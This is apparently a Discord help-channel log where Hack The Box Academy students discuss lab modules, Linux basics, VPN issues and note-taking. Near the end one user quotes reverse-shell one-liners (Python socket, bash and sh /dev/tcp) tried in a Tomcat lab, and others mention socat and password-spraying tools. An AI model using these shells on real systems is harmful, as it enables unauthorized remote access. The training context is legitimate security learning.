#modules
1 messages Β· Page 366 of 1
For example likely cross site scripting won't allow to read a file or run commands
i got in with basic creds..
KISS method baby
it's the getting started module, they won't have you do anything overly complex to get the answer
This is why i love talking to others while trying to solve it
its CMS 3.3.15
PHP Version 7.4.3 - OK
cURL Module Installed - OK
GD Library Installed - OK
ZipArchive Installed - OK
SimpleXML Module Installed - OK
chmod chmod - OK
Apache Web Server Apache/2.4.41 (Ubuntu) - OK
Apache Mod Rewrite Installed - OK
Im thinking about a reverse shell for the php maybe?
But i already have admin creds so idk
mm yes
seems potentially useful
How do i use a exploit i found on searchsploit
you can instead just do msfconsole -q then run a search in that
then you just use #
i have msfconsole open in another terminal already
I was planning to try to do a HTTP attack at first
why?
its HTTP not HTTPS
yes, but why
seemed to be a interesting way to attack as supposed to what i did
i dont know it just struct me as the first possibility to attack
everything you need to know to attack this box was taught to you by the module
Which i did a month ago to be fair
knowledge checks and skill assessments rarely deviate from what was taught/shown to you
then you should be taking adequate notes
I don't take notes π
I never was a note taker and i don't really know how too
basics of note taking:
- rewrite in your own words
- highlight/mark anything you may not know
- do additional research for clarity
- make sure that you understand your notes
copy/pasting is useless if you still don't understand it
using a note-taking app like Obsidian you can also put images/screenshots in it to further strengthen your notes with the clear example of what you did
it can also be important to take note of if/when you run into errors, what your error was and what it looks like
and how you resolved
You can use notion or obsidian and there are tons of resources online how to take notes for stuff like oscp or cyber generally
but this is a field where not taking notes can have you spending hours looking for that one obscure stackoverflow article about some guy named denvercoder49 having the same issue as you with resolution.
consider your notes like a grimoire of knowledge.
as you use certain commands more often than others you'll get muscle memory for their syntax
i remember needing to look up the syntax a handful of times for xfreerdp /v:$TARGET /u:$TARGET-USER /p:$TARGET-PASSWORD /dynamic-resoution /drive:tools,/path/to/tools/ /cert-ignore
or python3 -c 'import pty; pty.spawn("/bin/bash")'
good notes will serve as a foundation for further learning as when you run into something later, you'll have something to refer to if you forgot what something is
as the tier 1 and 2 modules won't repeat the basic knowledge from tier 0
for instance these are the recommended modules to have a grasp of before doing the 'getting started' module
Hi i am currently in the learning process model , I tried finding some ressources about the ROQ relationship oriented question model to understand it better but I failed finding such, as any search result either video or google does not give ROQ like if it only exists in htb, I hardly understand how to apply ROQ in everyday life without further examples than the one used on htb which talks about the methods we can use to access windows remotely, please help
I personally prefer drawing mind maps instead of writing notes because a picture is worth a thousand words and it also helps me visualize how I think about the concepts
The ROQ iirc was made by HTB as a questioning model, it's designed not to get you to the answer but to get you to the right questions... I too have trouble with it but it's just a model that you can alter and reframe to suit your own needs, you don't need to follow it by heart
Does someone else these warning also when executing cme?
use netexec
cme is no longer maintained, so there will only be more errors going forward
aw cool! π I am going to use that one instead
Attacking Common Services - Medium
Have done NMAP Scan manytimes, but when read forum, i come to know port 30021 is running ftp, but can anyone tell me how can i know on which it is running if i don't want to take forum help.
I hope someone got my point what i am trying to say
has anyone figured out how to make krbrelayx.py work on the current pwnbox? It just always complains about getting the wrong auth type and never saves a TGT. no matter how it is installed, what version of impacket you use, even if you rm -rf your python lib folder and reinstall it.
you scan all ports, in your screenshot you're running the most basic nmap scan with zero flags
i already have tried the flags but saem result, i have send here for clean look.
this once again isn't scanning all ports
u know all port scanning take 2 hours.
-p- is the flag to scan all ports
are u sure doing this is a good practice?
run it with -T5 or for even faster scanning --min-rate <N> where <N> is the number of minimum requests to send per second.
for the course and boxes, yes, for real life, not really
hi can i ask are we supposed to follow along the website instructions for the informaiton security foundations modules, setting up section?
oh okay, thanks
i was confused as when i opened the instance there were files i could not find as shown in the website
Well the instance isn't gonna really have what's shown
As that's an in-browser vm
Already configured
understood, ty
What's this from?
Ok, please don't repost content from modules over Tier 0
Ask your question without the screenshot π
I've already found the answer by looking at the structured logs on the screenshots. Yet, I don't know how to order my output to get the same answer
Sure, sorry. I didn't think about that
np π
From Footprinting, Domain Information, DNS Records
I was running DNS command but it was not working and cant query my dns server and it returned this:
dig any inlanefreight.com
;; Connection to 192.168.204.2#53(192.168.204.2) for inlanefreight.com failed: timed out.
;; no servers could be reached
Then i ran and it showed:
dig any inlanefreight.com @ 8.8.8.8
; <<>> DiG 9.20.2-1-Debian <<>> any inlanefreight.com @ 8.8.8.8
...
;; ANSWER SECTION:
inlanefreight.com. 300 IN A 134.209.24.248
...
inlanefreight.com. 300 IN SPF "v=spf1 include:_spf.google.com include:mail1.inlanefreight.com include:google.com ~all"
;; Query time: 184 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (TCP)
;; WHEN: Tue Dec 24 19:21:30 PKT 2024
;; MSG SIZE rcvd: 368
So the question is am i missing out any data if im doing it the second way. Is it ok to normalize using @ 8.8.8.8 everytime i use dns command. Ive confirmed from gpt its fine but need second opinions.
What module and section are you working on?
If it's a private ip you use the ip as the @ i.e. dig axfr inlanefreight.htb @10.129.0.5
Otherwise it uses your default dns configuration
Usually through your isp
Also you @ a random person named changme when copy/pasting
But if it's a public website using any nameserver as the @ is fine
Ok i understand, thank you for your time.
From this it looks like it's just trying to query locally
If the tier of a module is not based on its difficulty, what is it based on?
I do think that the tier level classifies the difficulty. Why do you think that's not the case?
In the "intro to academy" module, it says that is not the case
Last sentence in the screenshot above
hi guys,
Has anyone experienced firewall issues in the MSSQL, Exchange, and SCCM Attacks (Introduction to SCCM) module?
hey guys, i got an issue in this question i don't know what is the password a bypassed the filter but i don't know the password i tried to hack it but there is no clients on it:
Execute the MAC Filtering bypass as demonstrated in the section to establish a connection to the 5 GHz band. Once connected, locate the flag at IP address 192.168.2.1.
btw why i can not send an image ?
follow the instructions in #welcome
What could cause the eror running parrot here
i can not identfiy my self!
and helllo
Dm me
Have you searched for the error message at all?
Because I see lots of information out there
(I don't know how to solve this directly)
It said that may be CPU storage issues
Did you find any articles that described this problem?
There are.. loads of links there
Literally Googling the error message
I can't say any of them will help, but I'm just saying.. there's quite a bit of info out there describing this issue, and potential solutions
Have you tried any of them?
Hello,
Is it normal that all machines are down for the Linux privilege escalation module (the Miscealnous Technique & Kernel Version part). Impossible to maintain a connection in SSH more than 2 minutes. I've had this problem since yesterday. I tried with the online PWNBox and also vpn from my PC.
You likely have more than one VPN connection open at the same time
Close any Pwnbox instances, and reboot your PC
Does anyone help me with my mistake?
It's hardly visible
I will send you better

Now is it better?
what is the password π
You're getting some timeout error, try taking the -c and the --kerberos flag out and see if it will work
trying to find all installed packages on target. the number is incorrect. i searched for dpkg.
also have not figued out how to take screen shots on parrot os
I recall coming across a GitHub repository in one of the modules that contains benign Windows files useful for writing YARA rules. I checked the YARA & Sigma module but couldnβt find the link. Does anyone else remember or know where to find it?
Same error... I don't understand, because I introduced everything in the section
Perhaps try to see if there's a flag to increase the time out
3.123 and 3.120 seconds, more or less the same
Module: AD Enumeration And Attacks
Section: DCSync
Am i the only one facing this issue? I reseted machines multiple times, and changed vpn server.
Hi everyone
can you ssh in?
I will just do this section via Windows machine
Ssh also didnt work
I could run ligolo agent on windows machine also
Where can i add image to the chat?
i got this error Identification error: please contact an online Moderator or Administrator for help.
having and issue here
Then reach out to a mod [the people with shields next to their name]
how's this work? how do i have a 1 year mark a month ago but 2 year mark 9 hours ago?
apt list --installed | grep -iv listing | wc -l
Probably when they added them
ok how that line any differnt then what i typed
Because .dpkg is if you're installing from source via dpkg
ok
I'm gonna go out on a limb and assume you chatGPTed it
no i didnt.
The command i gave grabs the list of installed tools; cuts out a line which is unnecessary; then counts it
Any hacker here ??
ive use to use ubuntu 10 years ago so i assumed that would have been the file name
Any HACKER here ??
Again .dpkg is if installing via source
Not from repo
The fuck do you want; mind the #rules before you ask
I'm assisting someone with a linux basics issue
Yeah but why do you need a "hacker"?
If you want to start learning
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
Are you hacker ?
I will go but can you tell me
Why does it matter
I am a Indian guy and i am new in Hackthebox, i want to be a hacker
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
. Read this link
Learn your basics.
Ok
Are you a pro hacker, how long did it take
Hey everyone merry x mass!
if someone has the time to help me out with
Attacking Common Services
Attacking Email Services
i am a the question
What is the available username for the domain inlanefreight.htb in the SMTP server?
i have tried using patator,hydra and smtp-user-enum with the users and pw given by htb
i seem to not be able to find the user, can someone nudge me in the right direction?
apt list --installed | grep -iv listing | wc -l ok so when i used grep -c | wc -l no results i am confused why you used -iv when i looked up /man grep.... it did not list that as an option
apt list --installed | grep -iv listing | wc -l ok so when i used grep -c | wc -l no results i am confused why you used -iv when i looked up /man grep.... it did not list that as an option
-i and -v
Many commands you can combine the arguments
How can i hack a nearby wifi network, can anyone guide me
Like nmap -sS -sU -sV can be combined to -sSUV
ok so you dont seperate is there a limit on combinations
that is for all pipes
Depends on the command and arguments
Do this apt list --installed | head
And you'll see what you may or may not need to inverse grep (-v)
i didnt follow
There's an extra line you need to account for when counting the lines π
but the answer was in the ___ range this only shows a few
Try adding the -w flag to smpt enum
...lead a horse to water
You don't pipe that to wc
i like you haha got you
You pipe apt list --installed
Now you understand the need for the grep -iv [use man grep to figure out what those options do]
i will try this ty
Yeah smtp is a slow service
thank you. for taking the time to break the line down. i not only want to understand what is being typed but why as well.
The modules have you engage in some critical thinking to solve them
man <command> and <command> --help are your biggest friends
very much so. am am also doing this on a free account
Β―_(γ)_/Β―
Often if I'm asking why youre doing something a certain way, I'm challenging you to think why you did something (often wrong)
learning about /dev/null
And to ask the question "wait how do I <do thing>?"
always with find / ... 2> /dev/null 
honestly it's a heavy load of new information in the linux fundamentals module,
it's what I need to learn linux but damn how am I supposed to learn all that it would take me a lot of time
yessir, we don't want stderr, don't want the permission denied, would miss up out wc
Typically pipes only redirect stdout, not stderr without prodding
i take screenshots, re-write some stuff to memorise, like descriptions of directories in the filesystem hierarchy, linux philosophy and its structure, architecture,
practice some stuff, but still like it takes time
Tbh I don't have deep notes of linux filesystem stuff
oh, good to know
Just what I typically need to know
i am in this mod right now
Such as
/dev/ < devices
/home/ < users
/root/ < magical wonderland
its the first one i went to
Also remember, the only person that needs to understand your notes is you
So however you feel you need to organize is up to you
Abi
oh yes. plenty of notes.
Hi
Also a recommendation is to go back every now and then to readjust your notes
I.e. rerun a module you completed and readjust your notes
We're not gonna reverse a random b64 string from some nobody
<@&861185840277487616>
It was deleted the first time,that should have been your hint that it doesn't belong here
will keep in mind
Hey marcielee Add me I'll send you something
Fuck off
Please bro
Only one
please dont drop strings into chat
and stop bothering them
No, I'm not deciphering some random string.
Come on
No means no. That's it
Ok bro
won't say it again.. stop bothering them
@plush lotus don't dm without asking
ok
i am not succeeding with this :/
How long are you telling it to __w__ait?
~25 seconds seems to be the most reliable
i did 5 i will try 25
Hi guys, wanted to ask if whether in the cbbh pathway, does it cover some sort of linux/windows priv escalation as to my knowledge 99% (if not 100%) of the boxes on htb require some sort of privilege escalation. If cbbh doesn't cover this, then should we complete it and then go over to complete linux/windows priv escalation?
CBBH refers only to the website, not to the server. PrivEsc on the server is not an issue for CBBH
Cbbh is about web exploits, not privesc/pentest
ok just a bit confused because I rememeber asking that if whether cbbh pathway was enough to complete boxes and people said it was, so was wondering how people did the privilege escalation
yeah I know, but then thats not enough to complete the boxes?
It's enough to get your foot in the door and google fu the resy
Rest*
It may have been confused with CPTS, or perhaps only the web area of a box was meant
ahh I see
sadly still nothing
ok i have a feeling i was suppose to do the networking fundamentals pior to linux.
Networking fundamentals is just networking 101 stuff
keep in mind i do not work in IT. this is a self motivated adventure. the only people i have as a mentor is right here. i am starting from scratch here.
Networking 101 is stuff you can learn in 5 minutes on YouTube
Basics of private, public, and CIDR ranges
How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)
how do you explain this question
netstat is helpful
It's asking; how many services are listening [i.e. a web service], excluding IPv6 and localhost [127.0.0.x]
what is blowing my mind is in the lesson it never once mentioned that. it talking about | more | less | head | tail | sort | grep | cut | tr | column | awk | sed | wc
Yeah some of the sections seem out of order
a little.
But this is pretty simple stuff tbh
netstat < network statistics
For basic commands try and have ways to memorize them
ls list stuff
mkdir make directory
in understand it is suppose to be simple. but how do i go about learning this without always asking for help. should i skip a lesson to see if the next one leads a hint since its out of order
In 'Attacking Wi-Fi Protected Setup (WPS)' module --> 'Online PIN Brute-Forcing Using Reaver' section - the reaver bruteforcing should take some time?
"How do I do X in linux"
And asking for help isn't bad, it's how you ask for help that can be an issue.
If you're just asking for answers you're not learning anything
It's why giving vague but direct enough hints usually tips people in the right direction
agreed i dont want the answer. that is why i try to stay off google.
Google isn't a boogeyman
hah
Again asking for help isn't a negative
We all start somewhere
A couple years ago I wouldn't have known wtf to do with an nmap scan
your right just dont want to be a pester
i would wager marcielee feels the same way i do, but i enjoy helping people who want to learn. the key is you need to put effort in, but if you do and you're just banging your head against the wall and need a nudge or explaination, you're not a pester at all. just make sure you put in your effort.
If you don't wanna pester, discord has a handy search feature
It's why we push people to use module and section name
Your confusion on something is almost guaranteed to not be original
how do i go about using this feature
Ctrl-f on desktop. Magnifying glass icon on mobile
perfect i will use all resources. thank you.
Did You solve this thing eventually?
When I run the Reaver bruteforce It get stuck on the beacon part..
Guyss I desperately need your help, I have been fighting the "Intro to Academy's Purple Modules" for 5 hours now, and I can't figure it out:
Usage Example: Zabbix CVE-2024-22120
Academy says:
Let's navigate to the bottom of this section and click on 'Click here to spawn the target system!'. Then, let's SSH into the target IP using the provided credentials. The vast majority of the actions/commands covered from this point up to the end of this section can be replicated inside the target, offering a more comprehensive grasp of the topics presented.
But there is no credentials provided in the whole page.
should be at the bottom of the page where the questions are, if there are any questions
Try and refresh the page maybe...
Already done that, it's driving me crazy at this point
Damn
Like it says connect trough SSH
But it just doesn't give me ANY credentials to SSH
Is there credentials supplied in the overview section?
:)
OK, to solve this - reset the target machine....
Overview as in the top?
Sometimes they'll drop credentials in the first sections
Just this
Overview as in first section
those are probably your creds
This looks like maybe windows
But could be linux
Ah those creds are for the web page
Tried, that's just the login credentials for zabbix, the web page
. Try these creds?
No way, I read that part yesterday I fear the worst
not sure then, haven't done the module myself
Oh
LOL ur the best, i completely forgot that part
You're massively misunderstanding something
It's just a skill issue in this case, and trust me, I've been struggling for over 3 hours this time
Oh yea, I've already done that part haha
Thank you big time bro, you saved me a LOT of headache
Just as the current user, tried privesc but wasn't able to
I did sudo -l and it said I had vim permission NOPASSWD, but if I ran vim in the shell, it just timed me out
Yeah you need an interactive shell to use vim
But you shouldn't need to privesc afaik
I had no access to the root folder where the txt was located at tho
Β―_(γ)_/Β―
hi i'm struggling my way through the skills2 assessment on Attacking AD. I've managed to obtain a hash for mssqlsvc, but I cannot get a cleartext password. Looking at the solution I see that it's possible to get the cleartext password for this account. Am I missing something?
Determine what user the ProFTPd server is running under. Submit the username as the answer.
that's not to me i think?
it's not
phew!
so guys, writing a command in the stdin doesn't work? gotta only provide files for stdin?
first command is actually irrelevant, i wrote before it echo "test" > test.txt
i am still very stuck with this :/
aight go the EOF part
now I want to know: does stdin allow commands, or only files?
apparently it doesn't allow commands cuz bash is expecting a file or directory
https://www.gnu.org/software/bash/manual/html_node/Redirections.html 3.6.6 Here Documents
Redirections (Bash Reference Manual)
Single < is read file
cool, ty
hi guys
@ripe wadi there will be a spawn target button with the questions
Don't just paste the question from the section
You are meant to find the answer yourself, using the skills learned in the sections completed previously
yeah bu the point is that i haave to enum a domain
Yes
what does the target have to do with this
So, what did you learn about techniques on enumerating domains in the previous sections?
like use it as a nameserver >
Yes
Bingo
Critical thinking is required to be successful
they could have said it π
It says target
that is not critical thingking its a random ip
We do accept feedback mind
They're assuming {{ braincell -gt 1}} 
i thought i had to ssh into it
How would you better present it?
Do the instructions say "ssh"?
Hi guys, Im gonna do a htb study sesh in a little while, and listen to some music. If anyone wants to join me, pls dm
it just says target
does this make sense to anyone?
If there's no explicit instruction to ssh/rdp/remote into a target, then it's not necessary
well instead of target say spawn nameserver
When given a target, think to what services you have been working on
..and learning about
That's gonna be difficult given how the backend works
@fathom pendantDetermine what user the ProFTPd server is running under. Submit the username as the answer. how do i find the sever
its a frontend change
just swap the text on a page
I believe netstat or some other tool can give info
Everything is simple when you are not the one making the change
ok anyway, thanks
ProFTPd is running on the target, don't overthink
Good luck!
as a dev if you have to make a lot of changes to the codebase just to swap a frontend text its not a good codebase 
ps is good for processes
You're vastly underestimating the work required lmao
Again, everything is simple when you're not the one making the change
Yes, it should be simple
but it's not just the frontend work
addition of a DB field
populating all section questions
Not to mention change reviews and such
Most people don't have issues understanding target would == nameserver in this instance though
your frontend static button text is saved in a db?
just curious
What?
How it interacts with the backend is
the req is the same
I'm not going in to specifics of the codebase
Just.. please
I've been doing this for long enough
ok
Thank you for the suggestion
fair, thanks for the help again
Not necessarily, and without knowing the specifics of the codebase [as gob said] it's easy to go "just change this for this one specific instance"
i am struggling because i have yet learned ps netstat or any of the others that have been suggested. i am still in workflow section linux fund.
i found it! been staring to long at it guess so made a mistake
someone has studied their modules in social engineering 
man ps
Look for "user"
Mood, the snmp stuff is similar, you're staring at it and think it's just an info message
π
They're saying they are
By getting you to talk about the codebase
I guess
Β―_(γ)_/Β―
bruh
I read your replies as broad things that need to happen for a module to be updated
Β―_(γ)_/Β―
ok so am i suppose to use locate with pipe ps
Why locate?
thats the modual i am in
But why would you use locate to search for a substring
this is why am i am confused in finding the answer. the past three lessons has had nothing but how to locate files
grep searches for substring within files/output
echo -E "foo\nbar" | grep "foo"
To extend ps [options] | grep -i proftpd
-i ignores case
It's useful if you're unsure how the output would format or if you're looking for multiple instances where the word may be case shifted
locate is useful for finding files [if they are cached for locate to pull]
I don't think i needed the password for that account to complete that assessment.
i does not define a user
no i didn't need the password was able to use the hash and progress
however the solution suggested the password was obtainable and I wondered if I had missed something
Idk, I don't have access to solutions, so I never worried about it.
I find it useful to check as sometimes i did things different to the solutions in the questions
i learn stuff forom the solutions too
Yeah that makes sense and id do the same.
π€£
There's an option for ps to show u
__u__sers
guys is WEP still used?
isn't it replaced by WPA encryption?
I really hope not.. but no doubt there will be some out there
"if it works don't fix it"
WPA3: 28,562,179 (1.92%)
WPA2: 1,109,295,965 (74.66%)
WPA: 38,442,957 (2.59%)
WEP: 42,346,020 (2.85%)
????: 237,250,229 (15.97%)
None: 30,655,313 (2.06%)
Maps and database of 802.11 wireless networks, with statistics, submitted by wardrivers, netstumblers, and net huggers.
42 Million is.. quite a lot
How many are still active, who knows
https://wigle.net/ this page has always been interesting to me, it shows a graph over time of encryption types for the uploaded stats.
thanks for the clarification
btw guys how can i use the vpn in htb academy
My current situation is
i have a config file i have downloaded from the page
use it with openvpn
and ran sudo openvpn --config ./academy-regular\(5\).ovpn
and after trying to reach tthe target ip
it says that it is down
don't run the vpn and pwnbox at the same time. your command might work idk. i just use openvpn <file> &
so to terminate my pwnbox ?
your pwnbox and the vpn share the same ip, so you can't run them at the same time without running into problems. one or the other.
not sure, if it doesn't work still probably a good idea.
i had this issue as well. delete all vpn downloads from htb.
from my pc or is there some panel in the website
then run sudo openvpn ~/Downloads/academy-regular.ovpn
are you running linux?
then delete all files in the downlads file for htb
sudo openvpn ~/Downloads/academy-regular.ovpn@ripe wadi you can thank @fathom pendant for this resolve
go to hack the box and dowload the vpn once
the issue is you can't run the pwnbox and vpn at the same time...
i stopped it
if you are using pwnbox, you don't use the VPN. it's already connected to the network
the VPN is for connecting to the HTB network on your own VM
if you can run a VM, i'd suggest doing that as the experience will be a lot easier. no reason other than preference or hardware limitations.
you don't have to create a VM, and it already has most tools you need. but you can always just make your own VM and install the tools you need
VM is the proper experience
what does that mean
and it's probably what you'd be doing when you're doing engagements
sed is a binary that lets you search for text based on a user-supplied regular expression (regex)
At Regular-Expressions.info you will find a wide range of in-depth information about a powerful search pattern language called regular expressions.
regexes are basically used to find/filter for specific characters or phrases within some string
Hey I am struggling on the CDSA module 'Windows attacks & Defense' Section PKI - ESC1. From what I am reading, the lab assumes we already have access to the PKI machine because it starts off with a windows screenshot using the CERTIFY tool. I do not get any instruction from the lab on how to access the machine until a bit down the page
Enter the password for eagle\htb-student:
Attempting to start powershell as user "eagle\htb-student" ...```
This again, is not a kali based command, so it does not work for me. I then go down a bit more towards the questions and get this information.
```Please wait for 7-10 minutes after spawning the target of the below questions before requesting/generating any AD certificates!
For improved RDP performance, it is recommended to first SSH to the kali host while enabling dynamic port forwarding, followed by an RDP connection to WS001 from your attack host utilizing proxychains.```
So i do just that. I SSH into the machine using the given credentials in the questions in the bottom with port forwarding. I successfully get in kali. Awesome. Now here is the problem. I try to xfreerdp into the windows machine and I get this error
```[17:20:09:558] [8621:8621] [ERROR][com.freerdp.client.x11] - failed to open display:
[17:20:09:558] [8621:8621] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.```
I have tried to use 'export display=[local ip]:0.0' to help the issue. Still didnt work. I have tried xfreerdp into both the kali and windows machines. Didnt work. I have tried SSHing into bothe machines, I cannot do that due to the windows machine not being pingable. Basically, I tried all sorts of combonations. I have been at this course for about 6 months and these are my final questions. If anyone can help me it would make my day. Thanks
do u guys recommend any video resources to help with for example Linux Fundamentals module or any?
I get this field requires a lot of research and that means reading text but still it's better whenever there's visual media
Reading the page, it looks like the target you spawn is a Kali box. If you can't RDP into it from your VM try the pwnbox. If you can't do that, you can still just setup something like chisel and proxychain your way into WS001 with xfreerdp.
https://www.youtube.com/watch?v=sWbUDq4S6Y8&themeRefresh=1 The best thing to do is just install linux and use it. You didnt read a book on how to use windows/mac so just explore. Also LLM like chatgpt and gemini help as well.
I have been using the pwnbox
i just spawned the target and tried from my VM and had no issues using ssh or rdp to get into the target
you sshed then rdp into it fine?
i ssh'd into the target. i can also xfreerdp into the target.
from within the kali target you then rdp into ws001 according to the question
i just started typing xfreerdp into a terminal, and it autocompleted into exactly what was needed to remote in
so open a terminal on your target, then use xfreerdp to remote into ws001
lol
ok
I cannot paste any images for some reason, but it is giving me the same error
when i ssh and when rdp into the kali machine
so you rdp into kali, from within that session you open the terminal and can't xfreerdp? you get the same error? i'd try another region or reach out to support on the website
so to clarify, I can get into the kali target. Its the windows target I am having trouble with
Can you do it from your end?
Maybe there's not enough clarity. You connect to the windows target from the Kali target
yes
And i take it what you're having issues with is connecting to the ws001 from the 10.129.x.x kali machine
I can get into the kali target but cannot get into the windows target from the kali target as directed
Yes!
. Try these suggestions
i used a vm, not the pwnbox, could be the pwnbox needs some configuration but i doubt it
I have not used my own VM yet. I will try that
I think I have tried a different region in the past but I will try again jic
actually my bad
It isnt the same error when I rdp into both
wait what the hell... it worked.
THANKS!
yup good luck
unstable asl
Hey, did you end up finishing the skill assessment of malicious documents?
why is this the wrong answer
it says ipv4 only
"not on localhost & IPv4 only" shouldn't that mean ALL listening services? not just those?
yeah i guess so
i don't recall that question so i probably haven't done that module sorry
i can see it both ways with the way the question is worded
i did the command with the -4 for only IPv4, removed localhost with grep -v & worked
basically copy pasted command from google search actually
Ipv4 only, not localhost is the better phrasing
Avoid leaving answers in your screenshot
mb i was just tryina show the whole picture of what's going on,
i can't solve it
Do some light editing to block out
aight will do,
daaang should put the uniq before wc -l
That's smarter
still not working
so two things
why does uniq give different result than sort -u and why does neither of them work
well, i added 1 to the sort -u and somehow that's the answer..
Because you need to do a fair bit more filtering, and maybe regex (next section iirc)
I've linked a forum answer in the past that describes the commands used
.
Is there a module on memory scanning, manipulation etc...
The first is regarding forensics, the second regarding game hacking
They both have sections that cover memory, but of course forensics.. more on inspecting memory snapshots, game hacking, more on searching, structure and manipulation
Thanks a bunch
Not sure how embed works but I wonder if it'd be possible that instead of it showing the generic htb academy embed blurb, it can show the module linked
Possibly
There is the preview route
It could be possible to detect embed from Discord and rewrite to the public preview page
I agree, it's annoying
I wonder if it'd be better to get a copyable preview link button π€
I believe the preview uses the module name though
Here are some optional tasks to practice regex that can help us to handle it better and more efficiently. For all exercises, we will use the /etc/ssh/sshd_config file on our Pwnbox instance. why can i not cd to this file
Yeah it does indeed
Yeah they're optional exercises you can use the pwnbox instance for
Regex is useful to learn tbh
But I still use cheatsheets
i am trying to cd to ssh_config
Ssh_config is a file
It's under /etc/ssh directory
vm wont let me cd to the path
Btw you can specify full filepaths for pretty much any commands
won't let me
Useful error
i did use full path
Are you using the pwnbox or your own vm
pwnbox
What's the error you're getting
permission denied
You need to be root/use sudo
think i figured it out
why cant i get into the sshd_config i stopped it at ssh/
Because that is a file, not directory
π
As stated by the error
Just because it doesn't have a file extension doesn't mean it's a directory
haha ive been at this since 9 am think the wheel is turning and the hamster is dead
Okay I managed to solve the skill assessment of malicious documents, but Iβm pretty sure not the intended way. If someone finds a proper solution let me know lol
I totally forgot how the WriteDACL II SA was fun!
You'll get different stuff each time you do it and in different ways!
Hello I need helo on Intro to White Box Pentesting can I DM anyone
AD Enumeration & Attacks - Skills Assessment Part II.
Can someone help me? What am I doing wrong?
ok so in REGex it only changes the color of the line of the syntax
why did you upload kerbrute instead of running it on the linux machine?
DomainPasswordSpray wouldve been the better choice there
Hi guyz, I am working on solving a challenge NextPath (Medium difficulty Web Attack)
I wanted to know if I can get some assistance/hints on this part.
I am stuck at how to do directory traversal
Tbh I thought the attack wouldn't work from linux machine, because I had issues before too..Lemme try
I assume it is some kind of encoding. But not able to craft it well.
It worked from Linux machine...Why tho? Is it because I ran it via evil-winrm on the MS01??
not sure, just assumed it would work better on linuxπ€·ββοΈ
It is important to note that execute permissions are necessary to traverse a directory not sure if that will help i just happen to be reading this.
ask in #challenges
to get access, verify your account -> #welcome
hey all, i'm currently revamping my notes as i go through the Pentesters Job Role. Question, I have the services in order from Footprinting and now i'm in the next module, Info Gathering- Web Edition and I'm curious to know if it makes sense to inforporate the DNS & Subdomain notes I'd take from Info Gathering and incorporate them into the notes for DNS in footprinting, thoughts?
Or is this entire Info Gathering process done after you've completed footprinting during a pentest and not really related
Well, it's an extension of dns... in a way
kinda what i did, but with attacking common services
just added it to what i had
i am about to start Attacking Common Servies once i complete fixing my notes up to Password Attacks
As I came close to completing PA, I realized my notes were complete shit, now they're kind of shit
Would you say Footprinting and Attacking Common services mesh together? I assume footprinting touches on the services a bit more than Getting Started and ACS dives way deeper?
I would suggest you to not organize your notes based on module names but services/techniques
that helps thank you, I am leaning that way but just tough to know for sure without knowing whats coming in the modules to come. I think I'll take the notes best I can from the modules and plan to consolidate as they dig deeper into a service or application. The order of things is what I'm trying to nail down for sure
I started doing it by module at first too, but whenever I want to consult my notes it is because I found a certain service running on a host and I want to know what I can try. So I see βftpβ and open my ftp notes to see everything, from anonymous login to bruteforcing to CVEs to things that I mightβve encountered in boxes
And then it doesnβt matter what module taught me how to brute force ftp, I just know that thatβs an option for this service
Perfect thank you. Do you have everything in one long note or FTP in it's own note, SMB in another, etc?
right now i have everything in one note (in obsidian) but i'm making sure to give everything the proper heading so i can expand sections as needed but still be able to do a "Find" within everything
Iβm not sure about the perfect setup yet tbh. I used to have one more in obsidian that has each common port and what service is behind it and then linked to a separate note just for ftp
That works well for small services but once you reach AD there is so much to know about that alone that youβll likely need a few pages just for that
And over time the things I would write down in my notes become so βcommon knowledgeβ to me that I probably wouldnβt write them down anymore today. For example I really donβt need a brute force section on every service because I just know I can always try to brute force and what tools to use
ha yea i'm adding notes thinking "i'll probably not need this one eventually". I cant imagine how long the notes for active directory are going to be. Have you taken the CPTS yet? If yes, just curious how you knew you were ready
Hi everyone
Havenβt taken it yet, but Iβm pretty sure Iβd pass it? Itβs mostly a time issue for me to find 10 days of βfreeβ time. Iβm happy to learn more and more though, already went through the advanced cert course
ah sorry to hear. though i'm a ways away, i cant imagine how i'm going to dissapear for 10 days either lol
Iβve done other stuff like prolabs that are not so time constrained
Realistically if you consider both attempts you have 20 days which should be plenty of time for everything
agreed
Hello,
I'm doing the attacking tomcat module. I have my webshell that I want to transform into a reverse shell but I can't manage to find a proper command.
I used various from the shell & payloads course or from cheatsheet I found online based on sh & bash binaries and also I tried to use python. Nothing worked.
Example of payloads :
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- bash -i >& /dev/tcp/IP/PORT 0>&1
- sh -i >& /dev/tcp/IP/PORT 0>&1
IP & PORT were replaced by my IP & listening port.
It is blocked in some ways directly in the box or ? The authenticated RCE module from metasploit is also not working.
Sometimes βbashβ is not enough and you need to provide β/bin/bashβ instead
You can also try a few revshells from revshells.com
even with /bin/bash or /bin/sh it didn't worked
it's what I did !
I used all bash related scripts and nothing worked π¦
Or worst case download socat onto the machine and use that to establish a shell
yeah I think uploading socat or a payload is maybe the best option. Thank you I will try this !
hello π₯² ... Can anyone help me with the custom wordlists skill assessment (login bruteforcing)... There was nothing specific given in the question so I went with the creds given in the module itself, but it's taking forever.
Some googling and research may do you good to create custom wordlists
auh okie thanks
As noted by the custom wordlist section, which I'm assuming you're on
has anyone done the prolab zephyr and did your fping come up with more than one ip. Already stuck i feel dumb
#1263635449335910531 read and follow #welcome to access
Which version of Metasploit comes equipped with a GUI interface? (do i have to answer in version no. or the edition stuff) i am confused
Edition
got it thanks
i wasted way too much time for this answer omg
is this for me? lmao
nah man i tried every edition it was wrong due to space or some thing i was like wth????
Version != edition
Edition is like enterprise/professional/public
I believe it's also stated in that section 
yes yes that's the one
Try the dummy data from the examples
I'm doing https://academy.hackthebox.com/module/254/section/2836 but after bypassing everything, I don't get the shell, can check for me?
https://hackmd.io/_uploads/SkVmzzYBkx.png
ayo that's what I've been doing π₯² still no results
Would you mind posting the module and section? Opening a link on mobile is a pain
it's intro to windows evasion techniques skill assessment 1
Okay π
Didnβt do that one yet
could anyone please help me with medium lab in attacking common services?
